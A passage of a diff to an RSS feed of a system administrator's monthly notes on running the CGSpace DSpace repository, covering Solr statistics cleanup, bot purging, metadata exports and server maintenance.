the regions</li> +</ul> +</li> +<li>Add a few more authors to my CSV with author names and ORCID identifiers and tag 283 items!</li> +<li>Replace &ldquo;East Asia&rdquo; with &ldquo;Eastern Asia&rdquo; region on CGSpace (UN M.49 region)</li> +</ul> + + + + November, 2022 + https://alanorth.github.io/cgspace-notes/2022-11/ + Tue, 01 Nov 2022 09:11:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-11/ + <h2 id="2022-11-01">2022-11-01</h2> +<ul> +<li>Last night I re-synced DSpace 7 Test from CGSpace +<ul> +<li>I also updated all my local <code>7_x-dev</code> branches on the latest upstreams</li> +</ul> +</li> +<li>I spent some time updating the authorizations in Alliance collections +<ul> +<li>I want to make sure they use groups instead of individuals where possible!</li> +</ul> +</li> +<li>I reverted the Cocoon autosave change because it was more of a nuissance that Peter can&rsquo;t upload CSVs from the web interface and is a very low severity security issue</li> +</ul> + + + + October, 2022 + https://alanorth.github.io/cgspace-notes/2022-10/ + Sat, 01 Oct 2022 19:45:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-10/ + <h2 id="2022-10-01">2022-10-01</h2> +<ul> +<li>Start a harvest on AReS last night</li> +<li>Yesterday I realized how to use <a href="https://im4java.sourceforge.net/docs/dev-guide.html">GraphicsMagick with im4java</a> and I want to re-visit some of my thumbnail tests +<ul> +<li>I&rsquo;m also interested in libvips support via jVips, though last time I checked it was only for Java 8</li> +<li>I filed <a href="https://github.com/criteo/JVips/issues/141">an issue to ask about Java 11+ support</a></li> +</ul> +</li> +</ul> + + + + September, 2022 + https://alanorth.github.io/cgspace-notes/2022-09/ + Thu, 01 Sep 2022 09:41:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-09/ + <h2 id="2022-09-01">2022-09-01</h2> +<ul> +<li>A bit of work on the &ldquo;Mapping CG Core–CGSpace–MEL–MARLO Types&rdquo; spreadsheet</li> +<li>I tested an item submission on DSpace Test with the Cocoon <code>org.apache.cocoon.uploads.autosave=false</code> change +<ul> +<li>The submission works as expected</li> +</ul> +</li> +<li>Start debugging some region-related issues with csv-metadata-quality +<ul> +<li>I created a new test file <code>test-geography.csv</code> with some different scenarios</li> +<li>I also fixed a few bugs and improved the region-matching logic</li> +</ul> +</li> +</ul> + + + + August, 2022 + https://alanorth.github.io/cgspace-notes/2022-08/ + Mon, 01 Aug 2022 10:22:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-08/ + <h2 id="2022-08-01">2022-08-01</h2> +<ul> +<li>Our request to add <a href="https://github.com/spdx/license-list-XML/issues/1525">CC-BY-3.0-IGO to SPDX</a> was approved a few weeks ago</li> +</ul> + + + + July, 2022 + https://alanorth.github.io/cgspace-notes/2022-07/ + Sat, 02 Jul 2022 14:07:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-07/ + <h2 id="2022-07-02">2022-07-02</h2> +<ul> +<li>I learned how to use the Levenshtein functions in PostgreSQL +<ul> +<li>The thing is that there is a limit of 255 characters for these functions in PostgreSQL so you need to truncate the strings before comparing</li> +<li>Also, the trgm functions I&rsquo;ve used before are case insensitive, but Levenshtein is not, so you need to make sure to lower case both strings first</li> +</ul> +</li> +</ul> + + + + June, 2022 + https://alanorth.github.io/cgspace-notes/2022-06/ + Mon, 06 Jun 2022 09:01:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-06/ + <h2 id="2022-06-06">2022-06-06</h2> +<ul> +<li>Look at the Solr statistics on CGSpace +<ul> +<li>I see 167,000 hits from a bunch of Microsoft IPs with reverse DNS &ldquo;msnbot-&rdquo; using the Solr query <code>dns:*msnbot* AND dns:*.msn.com</code></li> +<li>I purged these first so I could see the other &ldquo;real&rdquo; IPs in the Solr facets</li> +</ul> +</li> +<li>I see 47,500 hits from 80.248.237.167 on a data center ISP in Sweden, using a normal user agent</li> +<li>I see 13,000 hits from 163.237.216.11 on a data center ISP in Australia, using a normal user agent</li> +<li>I see 7,300 hits from 208.185.238.57 from Britanica, using a normal user agent +<ul> +<li>There seem to be many more of these:</li> +</ul> +</li> +</ul> + + + + May, 2022 + https://alanorth.github.io/cgspace-notes/2022-05/ + Wed, 04 May 2022 09:13:39 +0300 + + https://alanorth.github.io/cgspace-notes/2022-05/ + <h2 id="2022-05-04">2022-05-04</h2> +<ul> +<li>I found a few more IPs making requests using the shady Chrome 44 user agent in the last few days so I will add them to the block list too: +<ul> +<li>18.207.136.176</li> +<li>185.189.36.248</li> +<li>50.118.223.78</li> +<li>52.70.76.123</li> +<li>3.236.10.11</li> +</ul> +</li> +<li>Looking at the Solr statistics for 2022-04 +<ul> +<li>52.191.137.59 is Microsoft, but they are using a normal user agent and making tens of thousands of requests</li> +<li>64.39.98.62 is owned by Qualys, and all their requests are probing for /etc/passwd etc</li> +<li>185.192.69.15 is in the Netherlands and is using a normal user agent, but making excessive automated HTTP requests to paths forbidden in robots.txt</li> +<li>157.55.39.159 is owned by Microsoft and identifies as bingbot so I don&rsquo;t know why its requests were logged in Solr</li> +<li>52.233.67.176 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests</li> +<li>157.55.39.144 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests</li> +<li>207.46.13.177 is owned by Microsoft and identifies as bingbot so I don&rsquo;t know why its requests were logged in Solr</li> +<li>If I query Solr for <code>time:2022-04* AND dns:*msnbot* AND dns:*.msn.com.</code> I see a handful of IPs that made 41,000 requests</li> +</ul> +</li> +<li>I purged 93,974 hits from these IPs using my <code>check-spider-ip-hits.sh</code> script</li> +</ul> + + + + April, 2022 + https://alanorth.github.io/cgspace-notes/2022-04/ + Fri, 01 Apr 2022 10:53:39 +0300 + + https://alanorth.github.io/cgspace-notes/2022-04/ + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + + + + March, 2022 + https://alanorth.github.io/cgspace-notes/2022-03/ + Tue, 01 Mar 2022 16:46:54 +0300 + + https://alanorth.github.io/cgspace-notes/2022-03/ + <h2 id="2022-03-01">2022-03-01</h2> +<ul> +<li>Send Gaia the last batch of potential duplicates for items 701 to 980:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv &gt; /tmp/tac4.csv +</span></span><span style="display:flex;"><span>$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p <span style="color:#e6db74">&#39;fuuu&#39;</span> -o /tmp/2022-03-01-tac-batch4-701-980.csv +</span></span><span style="display:flex;"><span>$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv &gt; /tmp/tac4-filenames.csv +</span></span><span style="display:flex;"><span>$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv &gt; /tmp/2022-03-01-tac-batch4-701-980-filenames.csv +</span></span></code></pre></div> + + + + February, 2022 + https://alanorth.github.io/cgspace-notes/2022-02/ + Tue, 01 Feb 2022 14:06:54 +0200 + + https://alanorth.github.io/cgspace-notes/2022-02/ + <h2 id="2022-02-01">2022-02-01</h2> +<ul> +<li>Meeting with Peter and Abenet about CGSpace in the One CGIAR +<ul> +<li>We agreed to buy $5,000 worth of credits from Atmire for future upgrades</li> +<li>We agreed to move CRPs and non-CGIAR communities off the home page, as well as some other things for the CGIAR System Organization</li> +<li>We agreed to make a Discovery facet for CGIAR Action Areas above the existing CGIAR Impact Areas one</li> +<li>We agreed to try to do more alignment of affiliations/funders with ROR</li> +</ul> +</li> +</ul> + + + + January, 2022 + https://alanorth.github.io/cgspace-notes/2022-01/ + Sat, 01 Jan 2022 15:20:54 +0200 + + https://alanorth.github.io/cgspace-notes/2022-01/ + <h2 id="2022-01-01">2022-01-01</h2> +<ul> +<li>Start a full harvest on AReS</li> +</ul> + + + + December, 2021 + https://alanorth.github.io/cgspace-notes/2021-12/ + Wed, 01 Dec 2021 16:07:07 +0200 + + https://alanorth.github.io/cgspace-notes/2021-12/ + <h2 id="2021-12-01">2021-12-01</h2> +<ul> +<li>Atmire merged some changes I had submitted to the COUNTER-Robots project</li> +<li>I updated our local spider user agents and then re-ran the list with my <code>check-spider-hits.sh</code> script on CGSpace:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ./ilri/check-spider-hits.sh -f /tmp/agents -p +</span></span><span style="display:flex;"><span>Purging 1989 hits from The Knowledge AI in statistics +</span></span><span style="display:flex;"><span>Purging 1235 hits from MaCoCu in statistics +</span></span><span style="display:flex;"><span>Purging 455 hits from WhatsApp in statistics +</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"> +</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Total number of bot hits purged: 3679 +</span></span></code></pre></div> + + + + November, 2021 + https://alanorth.github.io/cgspace-notes/2021-11/ + Tue, 02 Nov 2021 22:27:07 +0200 + + https://alanorth.github.io/cgspace-notes/2021-11/ + <h2 id="2021-11-02">2021-11-02</h2> +<ul> +<li>I experimented with manually sharding the Solr statistics on DSpace Test</li> +<li>First I exported all the 2019 stats from CGSpace:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ./run.sh -s http://localhost:8081/solr/statistics -f <span style="color:#e6db74">&#39;time:2019-*&#39;</span> -a export -o statistics-2019.json -k uid +</span></span><span style="display:flex;"><span>$ zstd statistics-2019.json +</span></span></code></pre></div> + + + + October, 2021 + https://alanorth.github.io/cgspace-notes/2021-10/ + Fri, 01 Oct 2021 11:14:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-10/ + <h2 id="2021-10-01">2021-10-01</h2> +<ul> +<li>Export all affiliations on CGSpace and run them against the latest RoR data dump:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>localhost/dspace63= &gt; \COPY (SELECT DISTINCT text_value as &#34;cg.contributor.affiliation&#34;, count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2021-10-01-affiliations.csv WITH CSV HEADER; +</span></span><span style="display:flex;"><span>$ csvcut -c <span style="color:#ae81ff">1</span> /tmp/2021-10-01-affiliations.csv | sed 1d &gt; /tmp/2021-10-01-affiliations.txt +</span></span><span style="display:flex;"><span>$ ./ilri/ror-lookup.py -i /tmp/2021-10-01-affiliations.txt -r 2021-09-23-ror-data.json -o /tmp/2021-10-01-affili +</span></span><span style="display:flex;"><span>ations-matching.csv +</span></span><span style="display:flex;"><span>$ csvgrep -c matched -m true /tmp/2021-10-01-affiliations-matching.csv | sed 1d | wc -l +</span></span><span style="display:flex;"><span>1879 +</span></span><span style="display:flex;"><span>$ wc -l /tmp/2021-10-01-affiliations.txt +</span></span><span style="display:flex;"><span>7100 /tmp/2021-10-01-affiliations.txt +</span></span></code></pre></div><ul> +<li>So we have 1879/7100 (26.46%) matching already</li> +</ul> + + + + September, 2021 + https://alanorth.github.io/cgspace-notes/2021-09/ + Wed, 01 Sep 2021 09:14:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-09/ + <h2 id="2021-09-02">2021-09-02</h2> +<ul> +<li>Troubleshooting the missing Altmetric scores on AReS +<ul> +<li>Turns out that I didn&rsquo;t actually fix them last month because the check for <code>content.altmetric</code> still exists, and I can&rsquo;t access the DOIs using <code>_h.source.DOI</code> for some reason</li> +<li>I can access all other kinds of item metadata using the Elasticsearch label, but not DOI!!!</li> +<li>I will change <code>DOI</code> to <code>tomato</code> in the repository setup and start a re-harvest&hellip; I need to see if this is some kind of reserved word or something&hellip;</li> +<li>Even as <code>tomato</code> I can&rsquo;t access that field as <code>_h.source.tomato</code> in Angular, but it does work as a filter source&hellip; sigh</li> +</ul> +</li> +<li>I&rsquo;m having problems using the OpenRXV API +<ul> +<li>The syntax Moayad showed me last month doesn&rsquo;t seem to honor the search query properly&hellip;</li> +</ul> +</li> +</ul> + + + + August, 2021 + https://alanorth.github.io/cgspace-notes/2021-08/ + Sun, 01 Aug 2021 09:01:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-08/ + <h2 id="2021-08-01">2021-08-01</h2> +<ul> +<li>Update Docker images on AReS server (linode20) and reboot the server:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span># docker images | grep -v ^REPO | sed <span style="color:#e6db74">&#39;s/ \+/:/g&#39;</span> | cut -d: -f1,2 | grep -v none | xargs -L1 docker pull +</span></span></code></pre></div><ul> +<li>I decided to upgrade linode20 from Ubuntu 18.04 to 20.04</li> +</ul> + + + + July, 2021 + https://alanorth.github.io/cgspace-notes/2021-07/ + Thu, 01 Jul 2021 08:53:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-07/ + <h2 id="2021-07-01">2021-07-01</h2> +<ul> +<li>Export another list of ALL subjects on CGSpace, including AGROVOC and non-AGROVOC for Enrico:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>localhost/dspace63= &gt; \COPY (SELECT DISTINCT LOWER(text_value) AS subject, count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (119, 120, 127, 122, 128, 125, 135, 203, 208, 210, 215, 123, 236, 242, 187) GROUP BY subject ORDER BY count DESC) to /tmp/2021-07-01-all-subjects.csv WITH CSV HEADER; +</span></span><span style="display:flex;"><span>COPY 20994 +</span></span></code></pre></div> + + + + June, 2021 + https://alanorth.github.io/cgspace-notes/2021-06/ + Tue, 01 Jun 2021 10:51:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-06/ + <h2 id="2021-06-01">2021-06-01</h2> +<ul> +<li>IWMI notified me that AReS was down with an HTTP 502 error +<ul> +<li>Looking at UptimeRobot I see it has been down for 33 hours, but I never got a notification</li> +<li>I don&rsquo;t see anything in the Elasticsearch container logs, or the systemd journal on the host, but I notice that the <code>angular_nginx</code> container isn&rsquo;t running</li> +<li>I simply started it and AReS was running again:</li> +</ul> +</li> +</ul> + + + + May, 2021 + https://alanorth.github.io/cgspace-notes/2021-05/ + Sun, 02 May 2021 09:50:54 +0300 + + https://alanorth.github.io/cgspace-notes/2021-05/ + <h2 id="2021-05-01">2021-05-01</h2> +<ul> +<li>I looked at the top user agents and IPs in the Solr statistics for last month and I see these user agents: +<ul> +<li>&ldquo;RI/1.0&rdquo;, 1337</li> +<li>&ldquo;Microsoft Office Word 2014&rdquo;, 941</li> +</ul> +</li> +<li>I will add the RI/1.0 pattern to our DSpace agents overload and purge them from Solr (we had previously seen this agent with 9,000 hits or so in 2020-09), but I think I will leave the Microsoft Word one&hellip; as that&rsquo;s an actual user&hellip;</li> +</ul> + + + + April, 2021 + https://alanorth.github.io/cgspace-notes/2021-04/ + Thu, 01 Apr 2021 09:50:54 +0300 + + https://alanorth.github.io/cgspace-notes/2021-04/ + <h2 id="2021-04-01">2021-04-01</h2> +<ul> +<li>I wrote a script to query Sherpa&rsquo;s API for our ISSNs: <code>sherpa-issn-lookup.py</code> +<ul> +<li>I&rsquo;m curious to see how the results compare with the results from Crossref yesterday</li> +</ul> +</li> +<li>AReS Explorer was down since this morning, I didn&rsquo;t see anything in the systemd journal +<ul> +<li>I simply took everything down with docker-compose and then back up, and then it was OK</li> +<li>Perhaps one of the containers crashed, I should have looked closer but I was in a hurry</li> +</ul> +</li> +</ul> + + + + March, 2021 + https://alanorth.github.io/cgspace-notes/2021-03/ + Mon, 01 Mar 2021 10:13:54 +0200 + + https://alanorth.github.io/cgspace-notes/2021-03/ + <h2 id="2021-03-01">2021-03-01</h2> +<ul> +<li>Discuss some OpenRXV issues with Abdullah from CodeObia +<ul> +<li>He&rsquo;s trying to work on the DSpace 6+ metadata schema autoimport using the DSpace 6+ REST API</li> +<li>Also, we found some issues building and running OpenRXV currently due to ecosystem shift in the Node.js dependencies</li> +</ul> +</li> +</ul> + + + + CGSpace CG Core v2 Migration + https://alanorth.github.io/cgspace-notes/cgspace-cgcorev2-migration/ + Sun, 21 Feb 2021 13:27:35 +0200 + + https://alanorth.github.io/cgspace-notes/cgspace-cgcorev2-migration/ + <p>Changes to CGSpace metadata fields to align more with DC, QDC, and DCTERMS as well as CG Core v2. Implemented on 2021-02-21.</p> +<p>With reference to <a href="https://agriculturalsemantics.github.io/cg-core/cgcore.html">CG Core v2 draft standard</a> by Marie-Angélique as well as <a href="http://www.dublincore.org/specifications/dublin-core/dcmi-terms/">DCMI DCTERMS</a>.</p> + + + + February, 2021 + https://alanorth.github.io/cgspace-notes/2021-02/ + Mon, 01 Feb 2021 10:13:54 +0200 + + https://alanorth.github.io/cgspace-notes/2021-02/ + <h2 id="2021-02-01">2021-02-01</h2> +<ul> +<li>Abenet said that CIP found more duplicate records in their export from AReS +<ul> +<li>I re-opened <a href="https://github.com/ilri/OpenRXV/issues/67">the issue</a> on OpenRXV where we had previously noticed this</li> +<li>The shared link where the duplicates are is here: <a href="https://cgspace.cgiar.org/explorer/shared/heEOz3YBnXdK69bR2ra6">https://cgspace.cgiar.org/explorer/shared/heEOz3YBnXdK69bR2ra6</a></li> +</ul> +</li> +<li>I had a call with CodeObia to discuss the work on OpenRXV</li> +<li>Check the results of the AReS harvesting from last night:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ curl -s <span style="color:#e6db74">&#39;http://localhost:9200/openrxv-items-temp/_count?q=*&amp;pretty&#39;</span> +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> &#34;count&#34; : 100875, +</span></span><span style="display:flex;"><span> &#34;_shards&#34; : { +</span></span><span style="display:flex;"><span> &#34;total&#34; : 1, +</span></span><span style="display:flex;"><span> &#34;successful&#34; : 1, +</span></span><span style="display:flex;"><span> &#34;skipped&#34; : 0, +</span></span><span style="display:flex;"><span> &#34;failed&#34; : 0 +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></div> + + + + January, 2021 + https://alanorth.github.io/cgspace-notes/2021-01/ + Sun, 03 Jan 2021 10:13:54 +0200 + + https://alanorth.github.io/cgspace-notes/2021-01/ + <h2 id="2021-01-03">2021-01-03</h2> +<ul> +<li>Peter notified me that some filters on AReS were broken again +<ul> +<li>It&rsquo;s the same issue with the field names getting <code>.keyword</code> appended to the end that I already <a href="https://github.com/ilri/OpenRXV/issues/66">filed an issue on OpenRXV about last month</a></li> +<li>I fixed the broken filters (careful to not edit any others, lest they break too!)</li> +</ul> +</li> +<li>Fix an issue with start page number for the DSpace REST API and statistics API in OpenRXV +<ul> +<li>The start page had been &ldquo;1&rdquo; in the UI, but in the backend they were doing some gymnastics to adjust to the zero-based offset/limit/page of the DSpace REST API and the statistics API</li> +<li>I adjusted it to default to 0 and added a note to the admin screen</li> +<li>I realized that this issue was actually causing the first page of 100 statistics to be missing&hellip;</li> +<li>For example, <a href="https://cgspace.cgiar.org/handle/10568/66839">this item</a> has 51 views on CGSpace, but 0 on AReS</li> +</ul> +</li> +</ul> + + + + December, 2020 + https://alanorth.github.io/cgspace-notes/2020-12/ + Tue, 01 Dec 2020 11:32:54 +0200 + + https://alanorth.github.io/cgspace-notes/2020-12/ + <h2 id="2020-12-01">2020-12-01</h2> +<ul> +<li>Atmire responded about the issue with duplicate data in our Solr statistics +<ul> +<li>They noticed that some records in the statistics-2015 core haven&rsquo;t been migrated with the AtomicStatisticsUpdateCLI tool yet and assumed that I haven&rsquo;t migrated any of the records yet</li> +<li>That&rsquo;s strange, as I checked all ten cores and 2015 is the only one with some unmigrated documents, as according to the <code>cua_version</code> field</li> +<li>I started processing those (about 411,000 records):</li> +</ul> +</li> +</ul> + + + + CGSpace DSpace 6 Upgrade + https://alanorth.github.io/cgspace-notes/cgspace-dspace6-upgrade/ + Sun, 15 Nov 2020 13:27:35 +0200 + + https://alanorth.github.io/cgspace-notes/cgspace-dspace6-upgrade/ + <p>Notes about the DSpace 6 upgrade on CGSpace in 2020-11.</p> + + + + November, 2020 + https://alanorth.github.io/cgspace-notes/2020-11/ + Sun, 01 Nov 2020 13:11:54 +0200 + + https://alanorth.github.io/cgspace-notes/2020-11/ + <h2 id="2020-11-01">2020-11-01</h2> +<ul> +<li>Continue with processing the statistics-2019 Solr core with the AtomicStatisticsUpdateCLI tool on DSpace Test +<ul> +<li>So far we&rsquo;ve spent at least fifty hours to process the statistics and statistics-2019 core&hellip; wow.</li> +</ul> +</li> +</ul> + + + + October, 2020 + https://alanorth.github.io/cgspace-notes/2020-10/ + Tue, 06 Oct 2020 16:55:54 +0300 + + https://alanorth.github.io/cgspace-notes/2020-10/ + <h2 id="2020-10-06">2020-10-06</h2> +<ul> +<li>Add tests for the new <code>/items</code> POST handlers to the DSpace 6.x branch of my <a href="https://github.com/ilri/dspace-statistics-api/tree/v6_x">dspace-statistics-api</a> +<ul> +<li>It took a bit of extra work because I had to learn how to mock the responses for when Solr is not available</li> +<li>Tag and release version 1.3.0 on GitHub: <a href="https://github.com/ilri/dspace-statistics-api/releases/tag/v1.3.0">https://github.com/ilri/dspace-statistics-api/releases/tag/v1.3.0</a></li> +</ul> +</li> +<li>Trying to test the changes Atmire sent last week but I had to re-create my local database from a recent CGSpace dump +<ul> +<li>During the FlywayDB migration I got an error:</li> +</ul> +</li> +</ul> + + + + September, 2020 + https://alanorth.github.io/cgspace-notes/2020-09/ + Wed, 02 Sep 2020 15:35:54 +0300 + + https://alanorth.github.io/cgspace-notes/2020-09/ + <h2 id="2020-09-02">2020-09-02</h2> +<ul> +<li>Replace Marissa van Epp for Rhys Bucknall in the CCAFS groups on CGSpace because Marissa no longer works at CCAFS</li> +<li>The AReS Explorer hasn&rsquo;t updated its index since 2020-08-22 when I last forced it +<ul> +<li>I restarted it again now and told Moayad that the automatic indexing isn&rsquo;t working</li> +</ul> +</li> +<li>Add <code>Alliance of Bioversity International and CIAT</code> to affiliations on CGSpace</li> +<li>Abenet told me that the general search text on AReS doesn&rsquo;t get reset when you use the &ldquo;Reset Filters&rdquo; button +<ul> +<li>I filed a bug on OpenRXV: <a href="https://github.com/ilri/OpenRXV/issues/39">https://github.com/ilri/OpenRXV/issues/39</a></li> +</ul> +</li> +<li>I filed an issue on OpenRXV to make some minor edits to the admin UI: <a href="https://github.com/ilri/OpenRXV/issues/40">https://github.com/ilri/OpenRXV/issues/40</a></li> +</ul> + + + + August, 2020 + https://alanorth.github.io/cgspace-notes/2020-08/ + Sun, 02 Aug 2020 15:35:54 +0300 + + https://alanorth.github.io/cgspace-notes/2020-08/ + <h2 id="2020-08-02">2020-08-02</h2> +<ul> +<li>I spent a few days working on a Java-based curation task to tag items with ISO 3166-1 Alpha2 country codes based on their <code>cg.coverage.country</code> text values +<ul> +<li>It looks up the names in ISO 3166-1 first, and then in our CGSpace countries mapping (which has five or so of Peter&rsquo;s preferred &ldquo;display&rdquo; country names)</li> +<li>It implements a &ldquo;force&rdquo; mode too that will clear existing country codes and re-tag everything</li> +<li>It is class based so I can easily add support for other vocabularies, and the technique could even be used for organizations with mappings to ROR and Clarisa&hellip;</li> +</ul> +</li> +</ul> + + + + July, 2020 + https://alanorth.github.io/cgspace-notes/2020-07/ + Wed, 01 Jul 2020 10:53:54 +0300 + + https://alanorth.github.io/cgspace-notes/2020-07/ + <h2 id="2020-07-01">2020-07-01</h2> +<ul> +<li>A few users noticed that CGSpace wasn&rsquo;t loading items today, item pages seem blank +<ul> +<li>I looked at the PostgreSQL locks but they don&rsquo;t seem unusual</li> +<li>I guess this is the same &ldquo;blank item page&rdquo; issue that we had a few times in 2019 that we never solved</li> +<li>I restarted Tomcat and PostgreSQL and the issue was gone</li> +</ul> +</li> +<li>Since I was restarting Tomcat anyways I decided to redeploy the latest changes from the <code>5_x-prod</code> branch and I added a note about COVID-19 items to the CGSpace frontpage at Peter&rsquo;s request</li> +</ul> + + + + June, 2020 + https://alanorth.github.io/cgspace-notes/2020-06/ + Mon, 01 Jun 2020 13:55:39 +0300 + + https://alanorth.github.io/cgspace-notes/2020-06/ + <h2 id="2020-06-01">2020-06-01</h2> +<ul> +<li>I tried to run the <code>AtomicStatisticsUpdateCLI</code> CUA migration script on DSpace Test (linode26) again and it is still going very slowly and has tons of errors like I noticed yesterday +<ul> +<li>I sent Atmire the dspace.log from today and told them to log into the server to debug the process</li> +</ul> +</li> +<li>In other news, I checked the statistics API on DSpace 6 and it&rsquo;s working</li> +<li>I tried to build the OAI registry on the freshly migrated DSpace 6 on DSpace Test and I get an error:</li> +</ul> + + + + May, 2020 + https://alanorth.github.io/cgspace-notes/2020-05/ + Sat, 02 May 2020 09:52:04 +0300 + + https://alanorth.github.io/cgspace-notes/2020-05/ + <h2 id="2020-05-02">2020-05-02</h2> +<ul> +<li>Peter said that CTA is having problems submitting an item to CGSpace +<ul> +<li>Looking at the PostgreSQL stats it seems to be the same issue that Tezira was having last week, as I see the number of connections in &lsquo;idle in transaction&rsquo; and &lsquo;waiting for lock&rsquo; state are increasing again</li> +<li>I see that CGSpace (linode18) is still using PostgreSQL JDBC driver version 42.2.11, and there were some bugs related to transactions fixed in 42.2.12 (which I had updated in the Ansible playbooks, but not deployed yet)</li> +</ul> +</li> +</ul> + + + + April, 2020 + https://alanorth.github.io/cgspace-notes/2020-04/ + Thu, 02 Apr 2020 10:53:24 +0300 + + https://alanorth.github.io/cgspace-notes/2020-04/ + <h2 id="2020-04-02">2020-04-02</h2> +<ul> +<li>Maria asked me to update Charles Staver&rsquo;s ORCID iD in the submission template and on CGSpace, as his name was lower case before, and now he has corrected it +<ul> +<li>I updated the fifty-eight existing items on CGSpace</li> +</ul> +</li> +<li>Looking into the items Udana had asked about last week that were missing Altmetric donuts: +<ul> +<li><a href="https://hdl.handle.net/10568/103225">The first</a> is still missing its DOI, so I added it and <a href="https://twitter.com/mralanorth/status/1245632619661766657">tweeted its handle</a> (after a few hours there was a donut with score 222)</li> +<li><a href="https://hdl.handle.net/10568/106899">The second item</a> now has a donut with score 2 since I <a href="https://twitter.com/mralanorth/status/1243158045540134913">tweeted its handle</a> last week</li> +<li><a href="https://hdl.handle.net/10568/107258">The third item</a> now has a donut with score 1 since I <a href="https://twitter.com/mralanorth/status/1243158786392625153">tweeted it</a> last week</li> +</ul> +</li> +<li>On the same note, the <a href="https://hdl.handle.net/10568/106573">one item</a> Abenet pointed out last week now has a donut with score of 104 after I <a href="https://twitter.com/mralanorth/status/1243163710241345536">tweeted it</a> last week</li> +</ul> + + + + March, 2020 + https://alanorth.github.io/cgspace-notes/2020-03/ + Mon, 02 Mar 2020 12:31:30 +0200 + + https://alanorth.github.io/cgspace-notes/2020-03/ + <h2 id="2020-03-02">2020-03-02</h2> +<ul> +<li>Update <a href="https://github.com/ilri/dspace-statistics-api">dspace-statistics-api</a> for DSpace 6+ UUIDs +<ul> +<li>Tag version 1.2.0 on GitHub</li> +</ul> +</li> +<li>Test migrating legacy Solr statistics to UUIDs with the as-of-yet unreleased <a href="https://github.com/DSpace/DSpace/commit/184f2b2153479045fba6239342c63e7f8564b8b6#diff-0350ce2e13b28d5d61252b7a8f50a059">SolrUpgradePre6xStatistics.java</a> +<ul> +<li>You need to download this into the DSpace 6.x source and compile it</li> +</ul> +</li> +</ul> + + + + February, 2020 + https://alanorth.github.io/cgspace-notes/2020-02/ + Sun, 02 Feb 2020 11:56:30 +0200 + + https://alanorth.github.io/cgspace-notes/2020-02/ + <h2 id="2020-02-02">2020-02-02</h2> +<ul> +<li>Continue working on porting CGSpace&rsquo;s DSpace 5 code to DSpace 6.3 that I started yesterday +<ul> +<li>Sign up for an account with MaxMind so I can get the GeoLite2-City.mmdb database</li> +<li>I still need to wire up the API credentials and cron job into the Ansible infrastructure playbooks</li> +<li>Fix some minor issues in the config and XMLUI themes, like removing Atmire stuff</li> +<li>The code finally builds and runs with a fresh install</li> +</ul> +</li> +</ul> + + + + January, 2020 + https://alanorth.github.io/cgspace-notes/2020-01/ + Mon, 06 Jan 2020 10:48:30 +0200 + + https://alanorth.github.io/cgspace-notes/2020-01/ + <h2 id="2020-01-06">2020-01-06</h2> +<ul> +<li>Open <a href="https://tracker.atmire.com/tickets-cgiar-ilri/view-ticket?id=706">a ticket</a> with Atmire to request a quote for the upgrade to DSpace 6</li> +<li>Last week Altmetric responded about the <a href="https://hdl.handle.net/10568/97087">item</a> that had a lower score than than its DOI +<ul> +<li>The score is now linked to the DOI</li> +<li>Another <a href="https://hdl.handle.net/10568/91278">item</a> that had the same problem in 2019 has now also linked to the score for its DOI</li> +<li>Another 